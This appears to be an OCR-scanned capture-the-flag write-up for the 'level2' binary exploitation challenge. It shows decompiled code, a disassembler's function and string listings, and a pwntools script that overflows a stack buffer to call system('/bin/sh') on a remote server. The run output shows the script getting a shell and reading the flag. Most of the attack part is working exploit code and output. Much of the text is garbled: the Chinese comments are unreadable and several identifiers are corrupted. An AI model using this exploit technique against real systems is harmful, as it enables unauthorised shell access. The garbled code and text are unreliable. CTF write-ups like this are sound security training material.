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{
char buf; // [esp+@h] [ebp-88h]

system(“echo Input:");
return read(e, &buf, exleeu);

}

SR 5 A7-{E system ek U 7 75 lbin/sh

Function name Segment  Start
f|_init_proc .init 080482D4
| sub_8048300 .plt 08048300
fl read plt 08048310
_system .plt 08048320
___gmon_start .plt 08048330
fl__ _libe_start_main .plt 08048340
f|_start . text 08048350
Address Length Type String
5’| LOAD: 08048154 00000013 C /1lib/1ld-linux. so. 2
5’| LOAD:0804822D 0000000A C libe. s0. 6
5’| LOAD: 08048237 0000000F C _I0_stdin_used
5’| LOAD: 08048246 00000005 C read
5’| LOAD:0804824B 00000007 C system
5’| LOAD: (08048252 00000012 C _ libec_start_main
5’| LOAD: 08048264 0000000F C __gmon_start__
'’ LOAD: 08048273 0000000A C GLIBC_2.0
‘5’ . rodata: 08048540 0000000C C echo Input:
i’ . rodata:0804854C 00000014 C echo "Hello World!’
E .eh frame:080485CE 00000005 C k28"
["5’ .data:0804A024 00000008 C /bin/sh J
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; int system(const char *command)
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extrn system:near I

SR 5 R i payload

payload=“a"*(0x88+0x4)+p32(sys_addr)+p32(0)+p32(bin_addr)

Ox88/EZZ X, Ox4/:78 7 JFiebp, RJGEsystemfgitihl, p32(0)7 #system ik [El bk, 4% 5 Z4/bin/shir il 5t fE15 5]
shell 1

from pwn import *

elf=ELF('./level2")

io=remote('111.198.29.45"',43364)

sys addr=0x8048320

bin addr=0x804A024

payload='a'*(0x88+0x4)+p32(sys addr)+p32(0)+p32(bin_addr)
io.recvline()

io.sendline(payload)

io.interactive()

io.close()

root@kali:~fpwn# python xctfleve1i.py
[*] '/root/pwn/level2’

Arch: 1386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x8048000)

[+] Opening connection to 111.198.29.45 on port 43364: Done
[*] Switching to interactive mode

$ 1s

bin

dev

flag

level2

lib

1ib32

1ib64

$ cat flag
cyierpeace{eeaacaﬁ??c482de6@36cda899ddcdd82}
$
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